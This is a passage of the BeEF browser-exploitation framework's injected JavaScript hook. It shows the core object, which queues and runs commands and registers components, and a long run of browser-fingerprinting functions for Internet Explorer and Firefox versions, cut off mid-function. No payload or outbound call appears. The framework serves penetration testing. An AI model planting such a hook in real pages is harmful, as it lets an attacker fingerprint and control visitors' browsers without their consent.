  3370. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  3371. // See the file 'doc/COPYING' for copying permission
  3372. //
  3373.  
  3374. /*!
  3375. * BeEF JS Library 0.4.7.0-alpha
  3376. * Register the BeEF JS on the window object.
  3377. */
  3378.  
  3379. $j = jQuery.noConflict();
  3380.  
  3381. if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
  3382.  
  3383. var BeefJS = {
  3384.  
  3385. version: '0.4.7.0-alpha',
  3386.  
  3387. // This get set to true during window.onload(). It's a useful hack when messing with document.write().
  3388. pageIsLoaded: false,
  3389.  
  3390. // An array containing functions to be executed by the window.onpopstate() method.
  3391. onpopstate: new Array(),
  3392.  
  3393. // An array containing functions to be executed by the window.onclose() method.
  3394. onclose: new Array(),
  3395.  
  3396. // An array containing functions to be executed by Beef.
  3397. commands: new Array(),
  3398.  
  3399. // An array containing all the BeEF JS components.
  3400. components: new Array(),
  3401.  
  3402. /**
  3403. * Adds a function to display debug messages (wraps console.log())
  3404. * @param: {string} the debug string to return
  3405. */
  3406. debug: function(msg) {
  3407. if (!false) return;
  3408. if (typeof console == "object" && typeof console.log == "function") {
  3409. var currentdate = new Date();
  3410. var pad = function(n){return ("0" + n).slice(-2);}
  3411. var datetime = currentdate.getFullYear() + "-"
  3412. + pad(currentdate.getMonth()+1) + "-"
  3413. + pad(currentdate.getDate()) + " "
  3414. + pad(currentdate.getHours()) + ":"
  3415. + pad(currentdate.getMinutes()) + ":"
  3416. + pad(currentdate.getSeconds());
  3417. console.log('['+datetime+'] '+msg);
  3418. } else {
  3419. // TODO: maybe add a callback to BeEF server for debugging purposes
  3420. //window.alert(msg);
  3421. }
  3422. },
  3423.  
  3424. /**
  3425. * Adds a function to execute.
  3426. * @param: {Function} the function to execute.
  3427. */
  3428. execute: function(fn) {
  3429. if ( typeof beef.websocket == "undefined"){
  3430. this.commands.push(fn);
  3431. }else{
  3432. fn();
  3433. }
  3434. },
  3435.  
  3436. /**
  3437. * Registers a component in BeEF JS.
  3438. * @params: {String} the component.
  3439. *
  3440. * Components are very important to register so the framework does not
  3441. * send them back over and over again.
  3442. */
  3443. regCmp: function(component) {
  3444. this.components.push(component);
  3445. }
  3446.  
  3447. };
  3448.  
  3449. window.beef = BeefJS;
  3450. }
  3451.  
  3452.  
  3453. //
  3454. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  3455. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  3456. // See the file 'doc/COPYING' for copying permission
  3457. //
  3458.  
  3459. /**
  3460. * @literal object: beef.browser
  3461. *
  3462. * Basic browser functions.
  3463. */
  3464. beef.browser = {
  3465.  
  3466. /**
  3467. * Returns the user agent that the browser is claiming to be.
  3468. * @example: beef.browser.getBrowserReportedName()
  3469. */
  3470. getBrowserReportedName: function () {
  3471. return navigator.userAgent;
  3472. },
  3473.  
  3474. /**
  3475. * Returns true if Avant Browser.
  3476. * @example: beef.browser.isA()
  3477. */
  3478. isA: function () {
  3479. return window.navigator.userAgent.match(/Avant TriCore/) != null;
  3480. },
  3481.  
  3482. /**
  3483. * Returns true if Iceweasel.
  3484. * @example: beef.browser.isIceweasel()
  3485. */
  3486. isIceweasel: function () {
  3487. return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null;
  3488. },
  3489.  
  3490. /**
  3491. * Returns true if Midori.
  3492. * @example: beef.browser.isMidori()
  3493. */
  3494. isMidori: function () {
  3495. return window.navigator.userAgent.match(/Midori\/\d+\.\d/) != null;
  3496. },
  3497.  
  3498. /**
  3499. * Returns true if Odyssey
  3500. * @example: beef.browser.isOdyssey()
  3501. */
  3502. isOdyssey: function () {
  3503. return (window.navigator.userAgent.match(/Odyssey Web Browser/) != null && window.navigator.userAgent.match(/OWB\/\d+\.\d/) != null);
  3504. },
  3505.  
  3506. /**
  3507. * Returns true if Brave
  3508. * @example: beef.browser.isBrave()
  3509. */
  3510. isBrave: function(){
  3511. return (window.navigator.userAgent.match(/brave\/\d+\.\d/) != null && window.navigator.userAgent.match(/Brave\/\d+\.\d/) != null);
  3512. },
  3513.  
  3514. /**
  3515. * Returns true if IE6.
  3516. * @example: beef.browser.isIE6()
  3517. */
  3518. isIE6: function () {
  3519. return !window.XMLHttpRequest && !window.globalStorage;
  3520. },
  3521.  
  3522. /**
  3523. * Returns true if IE7.
  3524. * @example: beef.browser.isIE7()
  3525. */
  3526. isIE7: function () {
  3527. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage && !document.documentMode;
  3528. },
  3529.  
  3530. /**
  3531. * Returns true if IE8.
  3532. * @example: beef.browser.isIE8()
  3533. */
  3534. isIE8: function () {
  3535. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !window.performance;
  3536. },
  3537.  
  3538. /**
  3539. * Returns true if IE9.
  3540. * @example: beef.browser.isIE9()
  3541. */
  3542. isIE9: function () {
  3543. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints === "undefined";
  3544. },
  3545.  
  3546. /**
  3547. *
  3548. * Returns true if IE10.
  3549. * @example: beef.browser.isIE10()
  3550. */
  3551. isIE10: function () {
  3552. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
  3553. },
  3554.  
  3555. /**
  3556. *
  3557. * Returns true if IE11.
  3558. * @example: beef.browser.isIE11()
  3559. */
  3560. isIE11: function () {
  3561. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined" && typeof document.selection === "undefined" && typeof document.createStyleSheet === "undefined" && typeof window.createPopup === "undefined" && typeof window.XDomainRequest === "undefined";
  3562. },
  3563.  
  3564. /**
  3565. *
  3566. * Returns true if Edge.
  3567. * @example: beef.browser.isEdge()
  3568. */
  3569. isEdge: function () {
  3570. return !beef.browser.isIE() && !!window.StyleMedia;
  3571. },
  3572.  
  3573. /**
  3574. * Returns true if IE.
  3575. * @example: beef.browser.isIE()
  3576. */
  3577. isIE: function () {
  3578. return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10() || this.isIE11();
  3579. },
  3580.  
  3581. /**
  3582. * Returns true if FF2.
  3583. * @example: beef.browser.isFF2()
  3584. */
  3585. isFF2: function () {
  3586. return !!window.globalStorage && !window.postMessage;
  3587. },
  3588.  
  3589. /**
  3590. * Returns true if FF3.
  3591. * @example: beef.browser.isFF3()
  3592. */
  3593. isFF3: function () {
  3594. return !!window.globalStorage && !!window.postMessage && !JSON.parse;
  3595. },
  3596.  
  3597. /**
  3598. * Returns true if FF3.5.
  3599. * @example: beef.browser.isFF3_5()
  3600. */
  3601. isFF3_5: function () {
  3602. return !!window.globalStorage && !!JSON.parse && !window.FileReader;
  3603. },
  3604.  
  3605. /**
  3606. * Returns true if FF3.6.
  3607. * @example: beef.browser.isFF3_6()
  3608. */
  3609. isFF3_6: function () {
  3610. return !!window.globalStorage && !!window.FileReader && !window.multitouchData && !window.history.replaceState;
  3611. },
  3612.  
  3613. /**
  3614. * Returns true if FF4.
  3615. * @example: beef.browser.isFF4()
  3616. */
  3617. isFF4: function () {
  3618. return !!window.globalStorage && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/4\./) != null;
  3619. },
  3620.  
  3621. /**
  3622. * Returns true if FF5.
  3623. * @example: beef.browser.isFF5()
  3624. */
  3625. isFF5: function () {
  3626. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/5\./) != null;
  3627. },
  3628.  
  3629. /**
  3630. * Returns true if FF6.
  3631. * @example: beef.browser.isFF6()
  3632. */
  3633. isFF6: function () {
  3634. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/6\./) != null;
  3635. },
  3636.  
  3637. /**
  3638. * Returns true if FF7.
  3639. * @example: beef.browser.isFF7()
  3640. */
  3641. isFF7: function () {
  3642. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/7\./) != null;
  3643. },
  3644.  
  3645. /**
  3646. * Returns true if FF8.
  3647. * @example: beef.browser.isFF8()
  3648. */
  3649. isFF8: function () {
  3650. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/8\./) != null;
  3651. },
  3652.  
  3653. /**
  3654. * Returns true if FF9.
  3655. * @example: beef.browser.isFF9()
  3656. */
  3657. isFF9: function () {
  3658. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/9\./) != null;
  3659. },
  3660.  
  3661. /**
  3662. * Returns true if FF10.
  3663. * @example: beef.browser.isFF10()
  3664. */
  3665. isFF10: function () {
  3666. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/10\./) != null;
  3667. },
  3668.  
  3669. /**
  3670. * Returns true if FF11.
  3671. * @example: beef.browser.isFF11()
  3672. */
  3673. isFF11: function () {
  3674. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null;
  3675. },
  3676.  
  3677. /**
  3678. * Returns true if FF12
  3679. * @example: beef.browser.isFF12()
  3680. */
  3681. isFF12: function () {
  3682. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
  3683. },
  3684.  
  3685. /**
  3686. * Returns true if FF13
  3687. * @example: beef.browser.isFF13()
  3688. */
  3689. isFF13: function () {
  3690. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null;
  3691. },
  3692.  
  3693. /**
  3694. * Returns true if FF14
  3695. * @example: beef.browser.isFF14()
  3696. */
  3697. isFF14: function () {
  3698. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null;
  3699. },
  3700.  
  3701. /**
  3702. * Returns true if FF15
  3703. * @example: beef.browser.isFF15()
  3704. */
  3705. isFF15: function () {
  3706. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null;
  3707. },
  3708.  
  3709. /**
  3710. * Returns true if FF16
  3711. * @example: beef.browser.isFF16()
  3712. */
  3713. isFF16: function () {
  3714. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/16\./) != null;
  3715. },
  3716.  
  3717. /**
  3718. * Returns true if FF17
  3719. * @example: beef.browser.isFF17()
  3720. */
  3721. isFF17: function () {
  3722. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/17\./) != null;
  3723. },
  3724.  
  3725. /**
  3726. * Returns true if FF18
  3727. * @example: beef.browser.isFF18()
  3728. */
  3729. isFF18: function () {
  3730. return !!window.devicePixelRatio && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/18\./) != null;
  3731. },
  3732.  
  3733. /**
  3734. * Returns true if FF19
  3735. * @example: beef.browser.isFF19()
  3736. */
  3737. isFF19: function () {
  3738. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/19\./) != null;
  3739. },
  3740.  
  3741. /**
  3742. * Returns true if FF20
  3743. * @example: beef.browser.isFF20()
  3744. */
  3745. isFF20: function () {
  3746. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/20\./) != null;
  3747. },
  3748.  
  3749. /**
  3750. * Returns true if FF21
  3751. * @example: beef.browser.isFF21()
  3752. */
  3753. isFF21: function () {
  3754. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/21\./) != null;
  3755. },
  3756.  
  3757. /**
  3758. * Returns true if FF22
  3759. * @example: beef.browser.isFF22()
  3760. */
  3761. isFF22: function () {
  3762. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/22\./) != null;
  3763. },
  3764.  
  3765. /**
  3766. * Returns true if FF23
  3767. * @example: beef.browser.isFF23()
  3768. */
  3769. isFF23: function () {
  3770. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/23\./) != null;
  3771. },
  3772.  
  3773. /**
  3774. * Returns true if FF24
  3775. * @example: beef.browser.isFF24()
  3776. */
  3777. isFF24: function () {
  3778. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/24\./) != null;
  3779. },
  3780.  
  3781. /**
  3782. * Returns true if FF25
  3783. * @example: beef.browser.isFF25()
  3784. */
  3785. isFF25: function () {
  3786. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/25\./) != null;
  3787. },
  3788.  
  3789. /**
  3790. * Returns true if FF26
  3791. * @example: beef.browser.isFF26()
  3792. */
  3793. isFF26: function () {
  3794. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/26./) != null;
  3795. },
  3796.  
  3797. /**
  3798. * Returns true if FF27
  3799. * @example: beef.browser.isFF27()
  3800. */
  3801. isFF27: function () {
  3802. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && window.navigator.userAgent.match(/Firefox\/27./) != null;
  3803. },
  3804.  
  3805. /**
  3806. * Returns true if FF28
  3807. * @example: beef.browser.isFF28()
  3808. */
  3809. isFF28: function () {
  3810. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt !== 'function' && window.navigator.userAgent.match(/Firefox\/28./) != null;
  3811. },
  3812.  
  3813. /**
  3814. * Returns true if FF29
  3815. * @example: beef.browser.isFF29()
  3816. */
  3817. isFF29: function () {
  3818. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/29./) != null;
  3819. },
  3820.  
  3821. /**
  3822. * Returns true if FF30
  3823. * @example: beef.browser.isFF30()
  3824. */
  3825. isFF30: function () {
  3826. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/30./) != null;
  3827. },
  3828.  
  3829. /**
  3830. * Returns true if FF31
  3831. * @example: beef.browser.isFF31()
  3832. */
  3833. isFF31: function () {
  3834. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/31./) != null;
  3835. },
  3836.  
  3837. /**
  3838. * Returns true if FF32
  3839. * @example: beef.browser.isFF32()
  3840. */
  3841. isFF32: function () {
  3842. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/32./) != null;
  3843. },
  3844.  
  3845. /**
  3846. * Returns true if FF33
  3847. * @example: beef.browser.isFF33()
  3848. */
  3849. isFF33: function () {
  3850. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/33./) != null;
  3851. },
  3852.  
  3853. /**
  3854. * Returns true if FF34
  3855. * @example: beef.browser.isFF34()
  3856. */
  3857. isFF34: function () {
  3858. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/34./) != null;
  3859. },
  3860.  
  3861. /**
  3862. * Returns true if FF35
  3863. * @example: beef.browser.isFF35()
  3864. */
  3865. isFF35: function () {
  3866. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/35./) != null;
  3867. },
  3868.  
  3869. /**
  3870. * Returns true if FF36
  3871. * @example: beef.browser.isFF36()
  3872. */
  3873. isFF36: function () {
  3874. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/36./) != null;
  3875. },
  3876.  
  3877. /**
  3878. * Returns true if FF37
  3879. * @example: beef.browser.isFF37()
  3880. */
  3881. isFF37: function () {
  3882. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/37./) != null;
  3883. },
  3884.  
  3885. /**
  3886. * Returns true if FF38
  3887. * @example: beef.browser.isFF38()
  3888. */
  3889. isFF38: function () {
  3890. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/38./) != null;
  3891. },
  3892.  
  3893. /**
  3894. * Returns true if FF39
  3895. * @example: beef.browser.isFF39()
  3896. */
  3897. isFF39: function () {
  3898. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/39./) != null;
  3899. },
  3900.  
  3901. /**
  3902. * Returns true if FF40
  3903. * @example: beef.browser.isFF40()
  3904. */
  3905. isFF40: function () {
  3906. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/40./) != null;
  3907. },
  3908.  
  3909. /**
  3910. * Returns true if FF41
  3911. * @example: beef.browser.isFF41()
  3912. */
  3913. isFF41: function () {
  3914. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/41./) != null;
  3915. },
  3916.  
  3917. /**
  3918. * Returns true if FF42
  3919. * @example: beef.browser.isFF42()
  3920. */
  3921. isFF42: function () {
  3922. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/42./) != null;
  3923. },
  3924.  
  3925. /**
  3926. * Returns true if FF43
  3927. * @example: beef.browser.isFF43()
  3928. */
  3929. isFF43: function () {
  3930. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/43./) != null;
  3931. },
  3932.  
  3933. /**
  3934. * Returns true if FF44
  3935. * @example: beef.browser.isFF44()
  3936. */
  3937. isFF44: function () {
  3938. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/44./) != null;
  3939. },
  3940.  
  3941. /**
  3942. * Returns true if FF45
  3943. * @example: beef.browser.isFF45()
  3944. */
  3945. isFF45: function () {
  3946. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/45./) != null;
  3947. },
  3948.  
  3949. /**
  3950. * Returns true if FF46
  3951. * @example: beef.browser.isFF46()
  3952. */
  3953. isFF46: function () {
  3954. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/46./) != null;
  3955. },
  3956.  
  3957. /**
  3958. * Returns true if FF47
  3959. * @example: beef.browser.isFF47()
  3960. */
  3961. isFF47: function () {
  3962. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/47./) != null;
  3963. },
  3964.  
  3965. /**
  3966. * Returns true if FF48
  3967. * @example: beef.browser.isFF48()
  3968. */
  3969. isFF48: function () {
  3970. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/48./) != null;
  3971. },
  3972.  
  3973. /**
  3974. * Returns true if FF49
  3975. * @example: beef.browser.isFF49()
  3976. */
  3977. isFF49: function () {
  3978. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/49./) != null;
  3979. },
  3980.  
  3981. /**
  3982. * Returns true if FF50
  3983. * @example: beef.browser.isFF50()
  3984. */
  3985. isFF50: function () {
  3986. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/50./) != null;
  3987. },
  3988.  
  3989. /**
  3990. * Returns true if FF51
  3991. * @example: beef.browser.isFF51()
  3992. */
  3993. isFF51: function () {
  3994. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/51./) != null;
  3995. },
  3996.  
  3997. /**
  3998. * Returns true if FF52
  3999. * @example: beef.browser.isFF52()
  4000. */
  4001. isFF52: function () {
  4002. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/52./) != null;
  4003. },
  4004.  
  4005. /**
  4006. * Returns true if FF53
  4007. * @example: beef.browser.isFF53()
  4008. */
  4009. isFF53: function () {
  4010. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/53./) != null;
  4011. },
  4012.  
  4013. /**
  4014. * Returns true if FF54
  4015. * @example: beef.browser.isFF54()
  4016. */
  4017. isFF54: function () {
  4018. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/54./) != null;
  4019. },
  4020.  
  4021. /**
  4022. * Returns true if FF55
  4023. * @example: beef.browser.isFF55()
  4024. */
  4025. isFF55: function () {
  4026. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/55./) != null;
  4027. },
  4028.  
  4029. /**
  4030. * Returns true if FF56
  4031. * @example: beef.browser.isFF56()
  4032. */
  4033. isFF56: function () {
  4034. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/56./) != null;
  4035. },
  4036.  
  4037. /**
  4038. * Returns true if FF57
  4039. * @example: beef.browser.isFF57()
  4040. */
  4041. isFF57: function () {
  4042. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/57./) != null;
  4043. },
  4044.  
  4045. /**
  4046. * Returns true if FF58
  4047. * @example: beef.browser.isFF58()
  4048. */
  4049. isFF58: function () {
  4050. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/58./) != null;
  4051. },
  4052.  
  4053. /**
  4054. * Returns true if FF.
  4055. * @example: beef.browser.isFF()
  4056. */
  4057. isFF: function () {
